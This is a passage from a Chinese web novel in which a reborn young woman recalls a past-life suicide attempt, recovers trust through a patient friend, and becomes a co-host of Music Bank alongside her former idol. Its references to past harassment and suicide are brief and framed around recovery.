旁观者什么都不做。他们只是看着一个人被慢慢吃掉,然后转过头,继续吃饭。
她想起那个天台。十七岁,站在边缘,风很大。手机屏幕亮着,上面是9SECONDS的舞台视频。
她想,如果也能站在舞台上,被人看见,被人喜欢,该多好。
然后她跳了。不是想死。是不想活了。
思绪从梦里抽离,慢慢回到这一世。
重生之后,夏瑜的轨迹完全不同了。
她没有回到原来的学校,没有回到那个教室,没有坐在那个靠窗的位置。变成了另一个人。
但有些东西是刻在骨头里的——比如对男生的抗拒。
她想起刚认识池且的时候。
那是穆双妤第一次带他一起吃饭。
池且笑嘻嘻地走过来,说“你好,我是池且”。
夏瑜下意识往后退了半步。她自己都没意识到,但穆双妤看到了。
池且伸出手想握手,夏瑜没接。
气氛有点尴尬。
池且愣了一下,把手缩回去,挠了挠头。“没事没事,我手上有汗。”
他找了个借口。
夏瑜知道他是在找借口。她没说话,只是点了点头。
后来穆双妤问她:“你是不是怕男生?”
夏瑜沉默了很久。“有一点。”
穆双妤没有追问为什么。她只是点了点头,说:“那以后我跟他先混熟,你觉得OK了再一起玩。”
穆双妤说到做到。
之后好几次约饭,她都是先单独跟池且吃,然后再带夏瑜去。
慢慢地,夏瑜发现池且这个人没什么攻击性。他话多,爱分享,打游戏的时候喜欢自言自语,看到好笑的视频会发到群里。
但他从来不会突然伸手碰她,不会靠太近,不会说让人不舒服的话。
他像是被穆双妤叮嘱过——夏瑜后来才知道,穆双妤确实叮嘱过他。
“她不太习惯跟男生相处,你注意一点。”池且说“好”。
然后他真的注意了。
吃饭的时候坐对面,走路的时候保持距离,说话的时候不会突然凑近。
他做得自然,不刻意,像是本来就这样。
夏瑜花了很长时间,才学会在池且面前放松。
不是因为他做了什么特别的事,是因为他什么都没做。
他没有摸她的屁股,没有说她“长那样”,没有在背后笑她。
他只是坐在对面吃火锅,说“夏瑜你点菜,你点得好吃”。
只是打游戏的时候喊“救我救我救我”,然后死了之后说“没事没事下一把”。
只是在群里发好笑视频,然后被她怼了也不生气。
慢慢地,夏瑜发现她不躲了。
池且走过来的时候,她不会往后退了。
池且递东西给她的时候,她不会犹豫了。
池且说“下次一起去吃海底捞”的时候,她会说“你请客”。
她想起有一天,穆双妤突然问她:“你现在不怕池且了?”
夏瑜想了想。“不怕了。”
穆双妤笑了。“那你怎么还是话那么少?”
夏瑜愣了一下。“话少吗?”
“少。你在我们面前话多,在外面话少。在池且面前,一开始话少,现在话多了。”
穆双妤看着她,“你是不是只跟信任的人话多?”
夏瑜没说话。
但她知道穆双妤说的是对的。她不是不爱说话。
她是不敢说话。
前世她说过——她说“不要碰我”。
然后她得到了什么?
所以她学会了沉默。沉默最安全。不说话就不会被听见,不被听见就不会被针对。
但穆双妤不一样。
穆双妤是第一个让她觉得“说了也没关系”的人。
不是因为她说了什么特别的话,是因为穆双妤听到了。她听到了,然后她记住了。
然后她做了点什么——她带了池且来,慢慢让夏瑜习惯他的存在。她叮嘱池且注意距离。
她在夏瑜退缩的时候不追问,只是等着。
夏瑜有时候觉得,穆双妤是她见过的最聪明的人。
不是那种考试考第一的聪明——虽然她成绩也很好——是那种知道怎么跟人相处的聪明。她知道什么时候该说话,什么时候该闭嘴。什么时候该靠近,什么时候该退后。什么时候该问为什么,什么时候只需要坐在旁边。<
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这一世,夏瑜第一次见到穆双妤的时候,是在新学校的宿舍里。她拖着行李箱走进去,看到一个女生坐在上铺,腿晃来晃去。
“你睡下铺还是上铺?”穆双妤问,“我上铺,你要是睡下铺的话晚上别打呼噜,我睡眠浅。”
夏瑜愣了一下。然后她笑了。“我不打呼噜。”
“那就好。”穆双妤从上铺跳下来,帮她拎行李箱,“你叫什么?”
“夏瑜。”
“夏瑜。”穆双妤重复了一遍,“名字挺好听的。我叫穆双妤。”
就这样,她们成了朋友。
穆双妤不知道夏瑜的前世,不知道她经历过什么。
她只知道这是一个话很少、看起来很乖的女生。
但她注意到了夏瑜的一些小习惯——男生靠近的时候会微微后退,有人从背后走过来会下意识侧身,被人突然叫到名字会愣一下。
她什么都没问。只是记住了。
后来穆双妤带池且来的时候,夏瑜的反应让她更加确定了什么。但她还是没有问。她只是做了该做的事——让池且注意距离,让夏瑜慢慢习惯,在旁边等着。
夏瑜有时候想,穆双妤大概是唯一一个让她觉得“被看穿了也没关系”的人。
不是那种被审视的感觉,是被理解的感觉。穆双妤不需要她解释什么,她只是看到了,然后调整了自己的行为。
不是同情,是陪伴。
她想起池且。那个被她怼了无数次、从来不生气的男生。
那个在群里发“鱼丸粉丝团永远支持你”的男生。那个吃饭的时候坐在对面、从来不会突然靠近的男生。
夏瑜花了很久才学会在他面前放松。
但现在,她可以一边涮毛肚一边骂他“你欠怼”,可以理直气壮地说“你请客”,可以在群里发消息说“池且你是不是有病”。
这些事,对别人来说可能很简单。
但对夏瑜来说,每一步都是走出来的。
从那个天台上走下来,从那个教室里走出来,从那个不敢说话的壳里爬出来。
穆双妤没有拉她。她只是坐在旁边,说“我等你”。
池且没有拉她。他只是坐在对面,说“没事没事”。
这就够了。
夏瑜翻了个身,把被子裹紧了一点。手链还握在手里,小鱼贴着掌心。
她想起签售会上那个叫小悠的女生。
从上海飞过来,一个人。她说“谢谢你活着”。她说“因为你活着,所以我也活着”。
她叫她夏瑜,不是Seki。
夏瑜想,如果十七岁的自己知道,有一天会有一个人对她说“谢谢你活着”,她还会跳吗?
不会了。不会跳了。
但她也想——如果十七岁的自己知道,有一天她会遇到穆双妤这样的人,会重新学会相信一个人,会重新学会说话,会在一个男生面前放松地吃火锅、点菜、怼他“你欠怼”——她会不会更早开口?会不会不那么害怕?
夏瑜不知道。
但她知道,这一世的她,是被穆双妤一点一点从壳里拉出来的。不是用力拽,是慢慢等。等她觉得安全,等她觉得可以了,等她主动走出来。
穆双妤从来不催她。她只是坐在那里,说“我等你”。
夏瑜把小鱼手链举到眼前,对着窗外的光。粉色的,亮亮的。
“我活着。”她小声说。没有人听见。但她说了。
她想起十七岁的自己。那个站在天台上的女孩,风吹着她的校服,手机屏幕亮着。如果她能对那个女孩说一句话,她会说什么?她想了想。
“有人会因为你的反抗而开始反抗。有人会因为你的沉默而继续沉默。你是第一个开口的。这就够了。”
还有一句。“你会遇到一个人。她会等你。等很久也没关系。”
她把手链放回手腕上。还能再睡一个小时。天亮了还有练习。
她闭上眼睛,慢慢睡着了。这次没有梦。
11. 音乐银行
音乐银行招募新MC的公告,是夏瑜在练习室刷手机的时候看到的。
那是一个很普通的下午。她刚练完舞,坐在地板上喝水,随手打开WVS。
置顶帖写着:“音乐银行固定MC招募——欢迎有主持梦想的各位踊跃报名。”她的手指停住了。
不是因为她想当MC。是因为公告最后一行写着——“现任固定MC:韩净沅。”
她盯着那个名字看了很久。韩净沅。9SECONDS的韩净沅。
她前世的本命。
那个让她站在舞台上的起点。那个她隔着屏幕看了无数遍的人。金色长发,笑起来眼睛弯弯的,像盛着一汪月光。
她把手机关了,又打开。又关了,又打开。然后她站起来,走到练习室外面,拨了一个号码。
“穆双妤。”
“怎么了?这个点打给我?”穆双妤的声音有点迷糊,大概在睡觉。
“音乐银行招MC。”
“……所以呢?”
“韩净沅是固定MC。”
电话那头沉默了两秒。然后穆双妤的声音清醒了。“你要去?”
夏瑜没说话。
“夏瑜。”穆双妤叫她,“你要去。你必须去。”
“为什么?”
“因为你想去。不然你不会打给我。”
夏瑜握着手机,没说话。穆双妤总是这样。
别人听她沉默,会觉得她在犹豫。但穆双妤知道,她沉默的时候,是在害怕。
“你怕什么?”穆双妤问。
夏瑜想了想。“怕面试。怕选不上。怕……”她停了一下,“怕站在他旁边,会紧张到说不出话。”
穆双妤笑了。“你追星追了这么多年,现在有机会站在你偶像旁边,你跟我说你怕?”
她顿了顿,“夏瑜,你为了追星,什么时候怕过?你为了看懂9SECONDS的综艺,学了韩语。你为了跳舞,练了十年武术。你为了当爱豆,一个人去了韩国。你什么时候怕过?”
夏瑜没说话。
“去报名。”穆双妤说,“选不选得上另说。但你不去,你会后悔。”
夏瑜握着手机,点了点头。然后想起穆双妤看不到,说:“好。”
挂了电话,她站在走廊里,看着窗外的首尔。天很蓝,云很白。
她想起前世,隔着屏幕看韩净沅跳舞的时候。
那时候她想,如果能站在他面前,哪怕只是看一眼,就好了。现在她有机会站在他旁边。不是粉丝和爱豆。是同事。是搭档。是她自己争取来的。
她深吸一口气,回到练习室,打开报名表,开始填。
面试在一个星期后。地点在KBS别馆,一间不大的会议室。夏瑜到的时候,走廊里已经坐了十几个人。有人在看台本,有人在补妆,有人紧张得在抖腿。夏瑜找了一个角落坐下,把准备好的自我介绍又默念了一遍。
她没告诉任何人她来面试。队友不知道,公司不知道,经纪人也不知道。如果选不上,就当什么都没发生过。
“seki Xi?”门开了,一个工作人员探出头来,“请进。”
她站起来,走进会议室。里面坐着三个人——正中间的是音乐银行的PD,旁边是制作人,还有一个是KBS艺能局的前辈。
“请坐。”PD说,“先做一下自我介绍吧。”
夏瑜坐下来,深呼吸。“大家好,我是LUMEN的成员seki。今年二十岁,来自中国A市。在队内担任主舞和副领唱。”
PD翻了翻她的资料。“你是爱豆。为什么想来当MC?”
夏瑜想了想。“因为我想站在舞台边上。”
三个人都抬头看她。
“我在舞台上跳过很多次舞。”夏瑜说,“聚光灯打在身上,台下的人在喊你的名字。那种感觉很好。但我有时候会想——站在舞台边上的人,是什么感觉?看着别人跳舞,看着别人拿奖,看着别人发光。我想试试那个位置。”
PD看了她一眼。“你觉得自己能做好吗?”
“能。”夏瑜说,“我跳舞的时候,从来不怕镜头。站在舞台边上,也一样。”
制作人问了她几个即兴播报的题目。她答得不算完美,但很稳。韩语发音比她想象中好,可能是因为紧张,反而更小心了。
最后一个问题,是PD问的。“你认识韩净沅Xi吗?”
夏瑜愣了一下。“认识的。”
“你觉得跟他搭档,会紧张吗?”
夏瑜沉默了两秒。然后她笑了。“会。但我跳舞的时候也会紧张。紧张是好的。紧张说明我在乎。”
PD看着她,点了点头。“回去等通知吧。”
她站起来,鞠了一躬,走出会议室。走廊里还有人在等。她经过的时候,有人看了她一眼。她没有回头,直接走出了KBS大楼。外面天已经黑了,路灯亮着。她站在门口,深呼吸。不管结果如何,她来了。她自己来的。这就够了。
三天后,她收到了电话。
“seki Xi,恭喜你。你被选为音乐银行的新任MC。”
她站在练习室里,手机贴在耳边,听着对面的人说签约时间、第一次直播日期、台本领取方式。她一个字都没听进去。她只听到了一句话——“你被选上了。”
挂了电话,她站在原地,手在抖。然后她打开微信,找到穆双妤的对话框。
“我选上了。音乐银行MC。”
三秒后,穆双妤回了一长串感叹。“???什么???你???真的???”
“真的。下周五第一次直播。”
“啊啊啊啊啊啊啊啊!!!”穆双妤发了一屏幕的感叹号,“你第一个跟我说的???”
“嗯。”
“夏瑜!!!你做到了!!!”
夏瑜看着屏幕,笑了。她想起面试那天穆双妤说的话——“你为了追星,什么时候怕过?”她没怕。她只是需要有人推她一把。而穆双妤永远是那个人。
“谢谢你。”她打字。
“谢什么?”
“谢谢你每次都让我去。”
穆双妤沉默了一会儿。“夏瑜,你知道吗,你每次说要做什么的时候,我就知道你能做到。你只是需要有人说一句‘你可以’。”
夏瑜看着屏幕,鼻子酸了一下。
“那你以后多说几次。”她打字。
“好。”穆双妤说,“你可以。你可以。你可以。够不够?”
“够了。”
和穆双妤聊完之后,夏瑜深吸一口气,推开练习室的门。
六个人都在。李恩彩在压腿,金素妍在喝水,韩智媛在角落里小声练歌,绘里香在对着镜子调整动作,姜多惠在帮金敏珠看走位。看到夏瑜进来,所有人都停了一下。
“你去哪了?”李恩彩问,“一下午没看到你。”
夏瑜站在门口,忽然有点紧张。她在舞台上不紧张,在面试时不紧张,但现在面对六个队友,她紧张了。
“我有事跟你们说。”她说。
六个人都看向她。
“我去面试了音乐银行的MC。”
练习室里安静了一秒。然后李恩彩尖叫起来。“什么?!”
“然后……”夏瑜停了一下,“我选上了。”
安静。彻底的安静。
然后李恩彩冲过来,一把抱住她。“夏瑜!!!你什么时候去面试的!!!你怎么不告诉我们!!!”
“上星期。”夏瑜被她勒得喘不过气,“没选上的话不想让你们知道。”
金素妍靠在墙边,双手抱胸,看着她。嘴角挂上一抹不明显的笑。“选上了才说?你是怕我们笑话你?”
“不是。”夏瑜老实地说,“怕丢人。”
金素妍看了她一眼。“现在不丢人了?”
“……不丢人。”
金素妍难得地笑了。“那就好。”
韩智媛从角落里跑过来,眼睛亮亮的。“seki xi,你当MC了?音乐银行的?”
“嗯。”
“好厉害……”韩智媛小声说,“我第一次见你的时候,你都不怎么说话。现在你要当MC了。”
夏瑜愣了一下。她想起刚出道的时候,她确实是那个话最少的人。站在最边上,part最少,镜头最少。现在她要站在舞台边上,对着镜头说话。每周五,直播,全韩国都能看到。
“智媛。”她说。
“嗯?”
“你也会的。你只是需要时间。”
韩智媛看着她,眼眶红了。“欧尼……”
“别哭。”夏瑜说,“你笑起来好看。”
韩智媛笑着,眼泪却还是掉了下来。
绘里香走过来,手里拿着一个小袋子。“欧尼,恭喜你。”她从袋子里拿出一条发绳,粉色的,上面有一个小小的星星吊坠。“这个送给你。当MC的时候可以用。”
夏瑜接过来,看着那条发绳。绘里香总是这样,安安静静的,但什么都记得。
“谢谢你,Eri。”夏瑜说,“我会用的。”
绘里香笑了,脸有点红。
姜多惠走过来,依旧只是递给她一杯热水。什么都没说,笑了笑。但夏瑜知道那个笑容的意思——“我一直在看着你。你做得很好。”
“谢谢欧尼。”夏瑜说。
姜多惠点了点头。“你当MC,要多说说话。别像平时一样,话那么少。”
“我会的。”
“还有。”姜多惠顿了顿,“别紧张。你跳舞的时候不紧张,说话的时候也不会紧张的。”
夏瑜看着她,笑了。“好。”
最后是金敏珠。她站在最远的地方,抱着手臂,看着夏瑜。所有人都安静了,等着队长说话。
金敏珠沉默了很久。然后她走过来,站在夏瑜面前。
“你自己去的?”
“嗯。”
“没跟公司说?”
“没说。”
“没跟任何人说?”
夏瑜点了点头。
金敏珠看着她,忽然伸手,拍了拍她的肩膀。“你长大了。”
夏瑜愣住了。她想起刚出道的时候,金敏珠是那个永远在说“再来一遍”的人。是那个看了三批出道组解散、最后留下来的人。是那个在年末舞台被删part的时候说“对不起,我什么都做不了”的人。现在她说——“你长大了。”
“欧尼。”夏瑜说。
“嗯?”
“谢谢你。”
金敏珠看着她,嘴角动了一下。“不用谢。是你自己走过来的。”
第一次直播的前一天晚上,夏瑜在宿舍里对着台本练到凌晨两点。
她坐在床上,把明天要说的每一句话都念了十几遍。韩语的发音、语调、停顿——她反复调整,直到自己满意。手腕上的小鱼手链在灯光下晃来晃去,她转了一圈。头发扎成低马尾,用的是绘里香送的那条粉色星星发绳。
手机亮了。是KakaoTalk的消息。姜多惠发的。
“还没睡?”
“在练台本。”
“明天第一次直播?”
“嗯。”
“紧张吗?”
“紧张的。”
“正常。”姜多惠说,“你跳舞的时候也会紧张。但上台就好了。”
夏瑜看着屏幕,笑了。
“谢谢欧尼。”她打字。
“早点睡。明天你站在舞台边上,也是舞台。”
夏瑜愣了一下。也是舞台。她想起面试那天说的话——“我想站在舞台边上。”原来姜多惠懂。
“好。”她打字,“晚安。”
群聊里,李恩彩发了一条消息:“Seki!!!明天加油!!!我们都会看的!!!”
金素妍:“你明天不是有排练吗?”
李恩彩:“排练也可以看!我用手机偷偷看!”
金素妍:“……你上次偷偷看被老师抓到了。”
李恩彩:“这次不会!我藏好了!”
金素妍:“你每次都这么说。”
李恩彩:“那你帮我打掩护!”
金素妍:“不要。”
李恩彩:“金素妍你没有团魂!!!”
金素妍:“我有。我只是不想陪你挨骂。”
韩智媛:“seki xi加油!”
绘里香:“欧尼加油!”
金敏珠:“早点睡。明天好好做。”
夏瑜看着屏幕,笑了。她打了一行字:“谢谢大家。明天我会好好做的。”
第二天,夏瑜站在音乐银行的演播厅里。
这是她第一次以MC的身份站在这里。不是打歌,不是表演,是主持。她穿了一件浅蓝色的衬衫,外面套了一件白色的针织开衫,下身是深灰色的西装裤。干净、清爽,不会抢舞台的注意力,但也不会被淹没。头发扎成低马尾,系着那条粉色星星发绳。手腕上是那条粉色的小鱼手链。
韩净沅站在她旁边。
他今天穿着一件米白色的宽松衬衫,袖子挽到手肘,露出修长的小臂。下身是黑色西装裤。最引人注目的是他的头发——金色的长发,刚到肩膀,柔顺地垂在肩上,刘海微微偏分,露出额头。灯光打在他脸上,皮肤白得发光,五官精致得像画出来的一样。他手里拿着台本,正在低头看,金色的头发垂下来,遮住了半边脸。
夏瑜看到他的
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一瞬间,心跳漏了一拍。不是紧张,是——那个她隔着屏幕看了无数遍的人,现在就站在她旁边。金色的长发,温柔的样子,像从画里走出来的人。
韩净沅抬起头,看到夏瑜,笑了。那种笑很温和,眼睛弯弯的,像盛着一汪月光。
“你好。”他说,声音很轻,“你是新MC吧?LUMEN的Seki Xi?”
“嗯。”夏瑜说,“前辈好。”
“不用叫前辈。”韩净沅说,“叫我净沅欧巴就行。大家一般都这么叫。”
“好。净沅欧巴。”
韩净沅点了点头,看了一眼她的手腕。“手链很可爱。”
夏瑜愣了一下,低头看了看自己的手腕。“是粉丝送的。”
“那要好好珍惜。”韩净沅说,语气很认真,“粉丝送的东西,都是心意。”
夏瑜看着他。他说话的时候很自然,没有前辈的架子,也没有刻意的亲近。只是很平常地聊天,像在跟一个普通的同事说话。但夏瑜知道,他不普通。他是她隔着屏幕看了无数遍的人。是她前世的动力,是她这一世站在这里的起点。
“你韩语说得很好。”韩净沅说,“来韩国多久了?”
“四年。”
“四年就这么好?”韩净沅笑了,“我学中文四年肯定说不成这样。”
夏瑜忍不住笑了。“因为很喜欢看韩国的综艺。”
“什么综艺?”
“《Let''s 9SECONDS》。”
韩净沅愣了一下,然后笑了。“那你应该看过很多我们的黑历史了。”
夏瑜笑了。“确实知道一点。”
“别说出来。”韩净沅笑着说,语气很轻松,“在节目上被揭老底还是有点不好意思的。”
夏瑜点头。“好。”
直播开始了。灯光打过来,摄像机亮起红点。韩净沅先开口,声音很稳,像做了很久的MC一样自然。他的金发在灯光下泛着柔和的光泽,整个人看起来温柔又从容。
然后轮到夏瑜。
她深吸一口气,对着镜头笑了。“大家好,我是LUMEN的seki。很高兴能成为音乐银行的新MC。”
她的声音很稳。比她想象的还稳。台本上的每一个字,她昨晚练了无数遍,现在从嘴里说出来,像呼吸一样自然。
韩净沅在旁边接话,两个人配合得很好。没有冷场,没有失误,没有紧张到说不出话。夏瑜站在舞台边上,看着台下的观众,看着舞台上的爱豆。有人在跳舞,有人在唱歌,有人在尖叫。而她站在这里,说着话,笑着,像在发光。
不是舞台中间的光。是舞台边上的光。但光就是光。站哪里都会亮。
中间有一段空档,夏瑜的耳机出了点问题,听不到导演的指令。她愣了一下,下意识看向韩净沅。
韩净沅注意到了。他没有慌张,也没有停下来等工作人员处理。他自然地接过话,说了一段台本上没有的内容——介绍了下一个舞台的看点,顺便说了一句“这个舞台的编舞据说很难,可能跳完我就活人微死了”,逗笑了全场。然后他侧过头,小声对夏瑜说:“没事。慢慢来。”
工作人员很快处理好了耳机。夏瑜深吸一口气,继续播报。她没慌。因为有人在她旁边。
直播结束后,韩净沅走过来。
“你今天做得很好。”他说,伸手把被耳机线弄乱的金发拨到耳后。
“谢谢。刚才耳机出问题的时候,谢谢你帮我接话。”
“没事。”韩净沅笑了,“我以前也遇到过。搭档就是要互相帮忙的。”
夏瑜看着他。他的金发在灯光下很好看,笑起来的时候整个人都在发光。
“你之前说你跳舞的时候不怕镜头。”韩净沅说,“现在呢?站在舞台边上,怕吗?”
夏瑜想了想。“不怕。”
“为什么?”
“因为——”她笑了,“这也是舞台。”
韩净沅看着她,点了点头。“以后每周五见。”
“好。每周五见。”
回宿舍的车上,夏瑜打开微信。
穆双妤已经发了十几条消息。
“夏瑜!!!我看了直播!!!你好稳!!!”
“你跟韩净沅同框了!!!他今天金发好好看!!!”
“你戴了Eri送的发绳!!!她肯定很开心!!!”
“你们俩配合好默契!!!”
“夏瑜你做到了!!!”
夏瑜看着屏幕,笑了。她打字:“我做到了。”
穆双妤秒回:“激动坏了吧。”
“对啊,而且超级紧张?_?。”
穆双妤发了一个搞怪的表情包。“夏瑜,你知道吗。你以前说想当爱豆,是为了站在舞台上。现在你站在舞台边上了。但你还是在发光。”
夏瑜看着屏幕,能想到穆双妤认真的表情。
“谢谢你。”她打字。
“谢什么?”
“谢谢你每次都推我一把。”
穆双妤沉默了一会儿。“夏瑜,你不用谢我。是你自己走过来的。我只是在旁边看着。”
夏瑜握着手机,看着窗外的夜景。路灯一盏一盏地亮着。
她想起前世,隔着屏幕看韩净沅的时候。那时候她以为,这辈子都不可能站在他面前。但现在她站在他旁边。不是运气,不是巧合,是她自己走过来的。
她把手腕上的小鱼手链转了一圈。粉色的,亮亮的,在路灯的光里微微发亮。
“下周见。”她给穆双妤发消息。
“下周见。”穆双妤回。
群聊里,李恩彩已经开始刷屏了。“Seki!!!我看了你的直播!!!你好稳!!!”
金素妍:“你不是在排练吗?怎么看的?”
李恩彩:“我用手机偷偷看的!藏在水瓶后面!老师没发现!”
金素妍:“……你厉害。”
李恩彩:“那当然!”
金素妍:“我没在夸你。”
李恩彩:“我当你在夸我!”
韩智媛:“seki xi好厉害……我看了直播,说话好自然……”
绘里香:“欧尼戴了我送的发绳!好好看!”
金敏珠:“今天辛苦了。下周继续加油。”
夏瑜看着屏幕,笑了。她打了一行字:“谢谢大家。下周也会好好做的。”
她把手机放在膝盖上,靠在车窗边。路灯一盏一盏地闪过,像流星。她闭上眼睛,嘴角翘着。
明天还有练习。后天还有签售。下周五还有直播。她不再是被安排的人了。她是自己去面试、自己争取、自己站在这里的。
舞台边上,也是舞台。